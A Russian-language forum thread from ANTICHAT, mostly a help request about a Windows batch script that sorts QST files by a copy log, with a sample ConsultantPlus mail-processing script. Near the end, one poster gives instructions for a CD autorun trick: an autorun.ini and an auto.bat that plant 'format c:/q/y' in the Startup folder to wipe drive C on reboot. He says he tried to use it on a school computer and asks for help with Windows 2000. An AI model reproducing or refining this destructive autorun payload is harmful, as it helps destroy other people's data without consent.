ANTICHAT — форум по информационной безопасности, OSINT и технологиям

cy4_1o1ka
Респект за статью! Сам писал?

Вот и она http://forum.antichat.ru/thread17725.html

молоток! ватники необходимы для сосуществования..... респект

Здраствуйте, у меня есть проблема в насписании bat файла. Существует лог из bat файл а в котором есть примерно вот такие записи:

__________________________________________________ ___________________

***
c:\PRIMER\serdyuk\LAW#000177_52.QST
Скопировано файлов: 1.
***
c:\PRIMER\serzh\LAW#000177_60.QST
c:\PRIMER\serzh\LAW#000177_70.QST
Скопировано файлов: 2.
***
c:\PRIMER\froot\LAW#000177_50.QST
Скопировано файлов: 1.
***
c:\PRIMER\root\LAW#000177_61.QST
c:\PRIMER\root\LAW#000177_67.QST
c:\PRIMER\root\LAW#000177_65.QST
Скопировано файлов: 3.

__________________________________________________ ___________________

Есть еще набор папок с именами serzh, serdyuk, root, froot - в общем то что находится после слова "PRIMER". Мне необходимо с помощью bat файла взять QST файлы и поместить их в тот каталог, который указан в логе, то есть все QST файлы хранятся в одном каталоге, но необходимо их раскидать по папкам но только тудаже, откуда они пришли, чтобы лишние QST не попадали не в свои каталоги. В крайнем случае можно даже сделать одинаковую длинну имен юзеров (папок), тогда путь в логе всегда будет имет одинаковую длинну.

Что то подобное делалось в этом bat файле

__________________________________________________ _________________________

color 4f
rem ***************** Создадим каталог, если нет , для обновлений *****************
set fname=%1
set address=%2
set dirname=%fname:~-10,-3%
set basename=%fname:~0,3%
set regbase=%fname:~0,7%

rem ********************** Подкорректируем переменные *****************************
IF %basename%==RLA set basename=%regbase%
IF %basename%==MLA set basename=MLAW
IF %basename%==DOC set basename=DOCS
IF %basename%==QUE set basename=QUEST


mkdir e:\Qst9\Qst_mail\Send\%address%
f:
cd \
cd veda_r\ConsProf

IF %basename%==RLAW977 cd f:\veda_r\AdygBase
IF %basename%==RLAW392 cd f:\veda_r\ConsSochi

IF %basename%==NUR cd f:\veda_r\Arbns
IF %basename%==NPV cd f:\veda_r\Arbns
IF %basename%==NSK cd f:\veda_r\Arbns
IF %basename%==NSZ cd f:\veda_r\Arbns
IF %basename%==NDV cd f:\veda_r\Arbns
IF %basename%==NMS cd f:\veda_r\Arbns
IF %basename%==NZS cd f:\veda_r\Arbns
IF %basename%==NVS cd f:\veda_r\Arbns
IF %basename%==NVV cd f:\veda_r\Arbns
IF %basename%==NCN cd f:\veda_r\Arbns

IF %basename%==SCN cd f:\veda_r\Arbvo
IF %basename%==SDV cd f:\veda_r\Arbvo
IF %basename%==SMS cd f:\veda_r\Arbvo
IF %basename%==SPV cd f:\veda_r\Arbvo
IF %basename%==SSK cd f:\veda_r\Arbvo
IF %basename%==SSZ cd f:\veda_r\Arbvo
IF %basename%==SUR cd f:\veda_r\Arbvo
IF %basename%==SVS cd f:\veda_r\Arbvo
IF %basename%==SVV cd f:\veda_r\Arbvo
IF %basename%==SZS cd f:\veda_r\Arbvo


rem ******************************* Отработаем запросы ****************************

cons.exe /adm /yes /base_%basename% /answer /RECEIVEDIR=e:\Qst9\Qst_mail\Receive /SENDDIR=e:\Qst9\Qst_mail\Send\%address% /USERSDIR=e:\Qst9\Qst_mail\Users /yes

rem ******************************* Теперь упакуем пополнения *********************

e:
cd \
cd Qst9\Qst_mail\Send\%address%
IF exist *.r* del /Q *.r*
e:\Send_Int\rar.exe a -v600k -df %basename%.rar *.ans

echo ****************** и отправим по почте каждый архив с пополнениями ************

rem =================== Занесём адрес в НАШ лог отработки запросов ============================
echo Запрос --- %fname% --- >>e:\Qst9\Qst_mail\logs\qst_mail.log
echo Получившиеся архивы пополнений:>>e:\Qst9\Qst_mail\logs\qst_m ail.log
dir /B *.* >>e:\Qst9\Qst_mail\logs\qst_mail.log
echo ================================================== =============================================>>e:\ Qst9\Qst_mail\logs\qst_mail.log

IF not exist *.r* goto ERRQST

for %%a in (*.r*) do e:\Qst9\Qst_mail\postie.exe -host:"192.168.0.74" -to:%address% -from:"RIC ConsultantPlus <quest@consultant.kuban.ru>" -org:" RIC177 " -s:"Update from RIC177 for "%fname%" : "%%a -uue -high -ns -owner:"RIC177" -charset:"koi8-r" -hide -nomsg -log:e:\QST9\Qst_mail\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:%%a

chcp 1251
date /T >e:\qst9\qst_mail\answer.txt
time /T >>e:\qst9\qst_mail\answer.txt
chcp 866
echo На quest@consultant.kuban.ru от %address% пришло письмо, содержащее запрос %fname% . >>e:\qst9\qst_mail\answer.txt
echo Адрес quest@consultant.kuban.ru предназначен для отработки запросов баз КонсультантПлюс Технологии3000 Серии 200.>>e:\qst9\qst_mail\answer.txt
echo ================================================== ========================== >>e:\qst9\qst_mail\answer.txt
echo Ваш запрос %fname% благополучно отработался.>>e:\qst9\qst_mail\answer.t xt
echo Вам выслано пополнение содержащееся в следующих архивных файлах: >>e:\qst9\qst_mail\answer.txt
echo ---------------------------------------------------------------------------->>e:\qst9\qst_mail\answer.txt
dir /B *.r* >>e:\qst9\qst_mail\answer.txt
echo ---------------------------------------------------------------------------->>e:\qst9\qst_mail\answer.txt
echo Вопросы, касающиеся пополнения баз КонсультантПлюс просим направлять в технический отдел по адресу: soft@consultant.kuban.ru . >>e:\qst9\qst_mail\answer.txt
echo Или по телефонам: (861) 268-56-65 , 262-58-25 .>>e:\qst9\qst_mail\answer.txt
echo ================================================== ========================== >>e:\qst9\qst_mail\answer.txt
echo С уважением, технический отдел РИЦ-177.>>e:\qst9\qst_mail\answer.txt
echo soft@consultant.kuban.ru>>e:\qst9\qst_mail\answer. txt
echo Наш web-сайт: http://www.consultant.kuban.ru >>e:\qst9\qst_mail\answer.txt

goto ONEXIT

:ERRQST
chcp 1251
date /T >e:\qst9\qst_mail\answer.txt
time /T >>e:\qst9\qst_mail\answer.txt
chcp 866
echo На quest@consultant.kuban.ru от %address% пришло письмо, содержащее файл %fname%. >>e:\qst9\qst_mail\answer.txt
echo Адрес quest@consultant.kuban.ru предназначен для отработки запросов баз КонсультантПлюс Технологии3000 Серии 200.>>e:\qst9\qst_mail\answer.txt
echo ================================================== ========================== >>e:\qst9\qst_mail\answer.txt
echo Ваши запросы не могут отработаться по следующим причинам: >>e:\qst9\qst_mail\answer.txt
echo 1. Ваша база соответствует эталонной базе РИЦ. >>e:\qst9\qst_mail\answer.txt
echo 2. Ваши запросы содержат ошибку или не принадлежат к базам Технологии3000 >>e:\qst9\qst_mail\answer.txt
echo и не могут правильно отработаться. >>e:\qst9\qst_mail\answer.txt
echo 3. Ваши базы отключены от сопровождения. >>e:\qst9\qst_mail\answer.txt
echo Отправка Вам обновления информационного банка не представляется возможной. >>e:\qst9\qst_mail\answer.txt
echo 4. Ваш запрос превышает объём 2 Мб. >>e:\qst9\qst_mail\answer.txt
echo За разъяснениями просим обращаться в технический отдел по адресу: soft@consultant.kuban.ru . >>e:\qst9\qst_mail\answer.txt
echo Или по телефонам: (861) 268-56-65 , 262-58-25 .>>e:\qst9\qst_mail\answer.txt
echo ================================================== ========================== >>e:\qst9\qst_mail\answer.txt
echo С уважением, технический отдел РИЦ-177.>>e:\qst9\qst_mail\answer.txt
echo soft@consultant.kuban.ru>>e:\qst9\qst_mail\answer. txt
echo Наш web-сайт: http://www.consultant.kuban.ru >>e:\qst9\qst_mail\answer.txt

:ONEXIT

e:\Qst9\Qst_mail\postie.exe -host:"192.168.0.74" -to:%address% -from:"RIC ConsultantPlus <quest@consultant.kuban.ru>" -org:" RIC177 " -s:"Answer for "%fname%" from RIC177" -uue -high -ns -owner:"RIC177" -charset:"dos866" -hide -file:e:\qst9\qst_mail\answer.txt -log:e:\QST9\Qst_mail\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:e:\qst9\qst_mail\answer.txt -notify

e:\Qst9\Qst_for_Kur_wks\postie.exe -host:"192.168.0.74" -to:admin@consultant.kuban.ru -from:"RIC ConsultantPlus <quest@consultant.kuban.ru>" -org:" RIC177 " -s:"Answer (QST) for "%fname%" from RIC177" -uue -high -ns -owner:"RIC177" -charset:"dos866" -hide -file:e:\qst9\qst_for_Kur_wks\answer.txt -log:e:\QST9\Qst_for_Kur_wks\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:e:\qst9\qst_for_Kur_wks\answer.txt

color
exit

__________________________________________________ _______________________


Но воспроизвести это в своей задаче у меня не получилось Может быть кто нибудь что то подскажет?

А вот откуда как я сделал 1ю часть, т.е. откуда МОЙ лог берется:

__________________________________________________ _______________________

@echo off

for /f "usebackq delims==" %%i in (`"dir "c:\PRIMER\" /ad /b"`) do ^
echo ***>>c:\temp\log.txt ^
& copy /y c:\PRIMER\%%i\ c:\temp\>>c:\temp\log.txt


rem pause

__________________________________________________ _______________________

Это я к тому что лог можно немного изменять если это каким либо образом критично.

Пробую сделать через Find что то не очень получается параметр найденый никуда не передается, а так бы было замечательно загнать его в переменную, ограничить с начала наименования и с конца длинну и все....

Ну вот bat-вирус даже есть:
Сохраните как virus.bat и запустите...
P.S. Может кому такое западло пригодится.

Мда, познавательно..
Кстати, насчет бат-вирусов, я тут на днях отчаянно пытался пронести на школьный комп сидюк с презентацией и встроенным бат файлом, провоцирующем формат с на следующий день после применения.. Если кому интересно, вот инструкция к созданию и применению.
Берем, например, сд-р,
пихаем на него файл Aoutorun.ini
с содержимым:
open=auto.bat
и файл auto.bat, с содержимым:
@echo off
if exist e:\auto.bat echo format c:/q/y > e:\auto.bat C:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto .bat *
if exist d:\auto.bat echo format c:/q/y > d:\auto.bat c:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto .bat *
if exist f:\auto.bat echo format c:/q/y > f:\auto.bat C:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto .bat *


* C:\Docume~\AllUsers\Mainmenu\Programs\Startup\ - нерабочий путь, т.к. не досовский, а может даже неправильный=)). Настоящий берется вот как:
берется какая-нибудь досовская прога(например, lines) и копируется(exe-шный файл) в C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузк а,
затем отправить его из этой папки на рабочий стол(создать ярлык), искомый досовский путь можно посмотреть в свойствах ярлыка.


В итоге достаточно вставить такой диск в сидюк, и при перезагрузке отформатируется диск C: =))
Все это дело точно работает в winXP,насчет 2000го не уверен, насчет 9x абсолютно уверен, что не работает.


Если кто знает, как организовать автозапуск в файла в 2000, скажите, плиз, сечас вообще офигенно нужно!

Ой вам ненадоело)) баты это прошлый век, екзешники же рулят)